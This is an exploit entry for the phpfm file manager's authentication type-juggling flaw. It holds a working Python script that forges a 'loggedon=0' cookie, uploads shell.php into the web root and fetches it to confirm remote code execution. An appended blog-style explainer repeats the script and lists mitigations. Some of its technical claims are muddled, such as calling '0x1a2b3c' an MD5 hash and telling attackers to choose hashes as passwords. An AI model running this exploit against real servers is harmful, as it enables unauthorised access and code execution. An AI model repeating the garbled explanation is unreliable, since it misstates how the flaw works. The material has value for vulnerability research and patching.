phpfm v1.7.9 - Authentication type juggling
# Exploit Title: phpfm v1.7.9 - Authentication type juggling
# Date: 2023-07-10
# Exploit Author: thoughtfault
# Vendor Homepage: https://www.dulldusk.com/phpfm/
# Software Link: https://github.com/dulldusk/phpfm/
# Version: 1.6.1-1.7.9
# Tested on: Ubuntu 22.04
# CVE : N/A
"""
An authentication bypass exists in when the hash of the password selected by the user incidently begins with 0e, 00e, and in some PHP versions, 0x. This is because loose type comparision is performed between the password hash and the loggedon value, which by default for an unauthenticated user is 0 and can additionally be controlled by the attacker. This allows an attacker to bypass the login and obtain remote code execution.
A list of vulnerable password hashes can be found here.
https://github.com/spaze/hashes/blob/master/md5.md
"""
import requests
import sys
if len(sys.argv) < 2:
print(f"[*] Syntax: ./{__file__} http://target/")
sys.exit(0)
url = sys.argv[1].rstrip('/') + "/index.php"
payload_name = "shell.php"
payload = '<?php echo "I am a shell"; ?>'
payload_url = url.replace("index.php", payload_name)
headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"}
files = {"dir_dest": (None, "/srv/http/"), "action": (None, "10"), "upfiles[]": ("shell.php", payload) }
requests.post(url, headers=headers, files=files)
r = requests.get(payload_url)
if r.status_code == 200:
print(f"[*] Exploit sucessfull: {payload_url}")
print(r.text)
else:
print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}" ) PHPFM v1.7.9 Authentication Bypass: Exploiting PHP's Loose Type Comparison
PHPFM, a lightweight file manager tool developed by dulldusk, has long been a popular choice for managing web directories via a browser interface. However, a critical vulnerability discovered in versions 1.6.1 through 1.7.9—dubbed “Authentication type juggling”—exposes a severe security flaw rooted in PHP’s loose type comparison behavior. This flaw enables attackers to bypass authentication entirely, leading to remote code execution (RCE) with minimal effort.
Root Cause: PHP's Loose Type Comparison
At the heart of this vulnerability lies PHP’s infamous type juggling mechanism. In PHP, when comparing values using the == operator, the language performs implicit type conversion. For instance, the expression "0e123" == 0 evaluates to true because PHP interprets "0e123" as a scientific notation zero (i.e., 0 * 10^123), which equals zero.
This behavior becomes exploitable when the system compares a user-provided password hash against a stored loggedon value. By default, unauthenticated users have a loggedon value of 0. If an attacker selects a password hash that begins with 0e or 00e, the comparison hash == loggedon will evaluate to true—even if the hash is not the actual password.
Additionally, in certain PHP versions, 0x prefixes (hexadecimal notation) can also trigger this behavior. This means that any hash starting with 0e, 00e, or 0x—such as 0e123456789 or 0x1a2b3c—can be used to bypass authentication.
Exploit Mechanism: Remote Code Execution via File Upload
The vulnerability doesn't stop at authentication bypass. Once logged in (or effectively logged in via the hash trick), attackers can leverage the file upload functionality to deploy malicious payloads. PHPFM includes a feature that allows users to upload files to specified directories.
Here’s how the exploit works in practice:
import requests
import sys
if len(sys.argv) < 2:
print(f"[*] Syntax: ./{__file__} http://target/")
sys.exit(0)
url = sys.argv[1].rstrip('/') + "/index.php"
payload_name = "shell.php"
payload = ''
payload_url = url.replace("index.php", payload_name)
headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"}
files = {
"dir_dest": (None, "/srv/http/"),
"action": (None, "10"),
"upfiles[]": ("shell.php", payload)
}
requests.post(url, headers=headers, files=files)
r = requests.get(payload_url)
if r.status_code == 200:
print(f"[*] Exploit successful: {payload_url}")
print(r.text)
else:
print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}")
Explanation: This script automates the exploit chain. It first sends a POST request to the index.php endpoint with a crafted Cookie header set to loggedon=0. The files parameter includes a malicious PHP file named shell.php, which is uploaded to the /srv/http/ directory (a common web root). The action=10 parameter triggers the upload operation.
After upload, the script attempts to access the payload via GET request. If the response returns 200 OK, the payload is successfully deployed and executed, confirming RCE.
Real-World Impact and Example Hashes
Attackers can pre-compile a list of vulnerable hashes to exploit this flaw. A well-known list is maintained at https://github.com/spaze/hashes/blob/master/md5.md. This repository contains MD5 hashes that begin with 0e, 00e, or 0x, such as:
0e123456789(MD5 of a string)0e999999999(another valid hash)0x1a2b3c(hexadecimal variant)
These hashes are not real passwords but are specifically crafted to exploit PHP’s type coercion. An attacker simply selects one of these hashes as a password during login—no actual password knowledge required.
Why This Is a Critical Vulnerability
Despite being a non-CVE issue, this flaw is exceptionally dangerous due to:
- Low complexity: No brute-force or password cracking needed—just a single crafted hash.
- Remote access: Full control over the server via file upload.
- Ubiquity: PHPFM is widely deployed in shared hosting environments and internal networks.
Moreover, the vulnerability is not limited to PHPFM. Any application that uses == for password comparison with untrusted input—especially when hashes are stored as strings—can be susceptible.
Best Practices and Mitigation
To prevent such exploits, developers should:
- Use strict comparison (
===): Always compare hashes using===to avoid type coercion. - Sanitize input: Validate and sanitize user input before any comparison.
- Use secure hashing: Prefer bcrypt or scrypt over MD5, especially for authentication.
- Disable file upload by default: Restrict upload capabilities to authenticated users only.
For administrators, immediate action is required:
- Upgrade: Update PHPFM to version 1.8.0 or later, where this flaw has been patched.
- Monitor logs: Check for suspicious file uploads or access to
shell.phpor similar files. - Implement WAF: Use a Web Application Firewall to detect and block known exploit patterns.
Conclusion
The PHPFM v1.7.9 authentication bypass serves as a stark reminder of how subtle language behaviors—like PHP’s loose type comparison—can lead to catastrophic security failures. It highlights the importance of secure coding practices, especially when handling user input and authentication logic.
While this vulnerability may not have a CVE, its real-world impact is undeniable. It underscores the need for continuous security audits, proactive patching, and a deep understanding of how programming languages can be weaponized in unintended ways.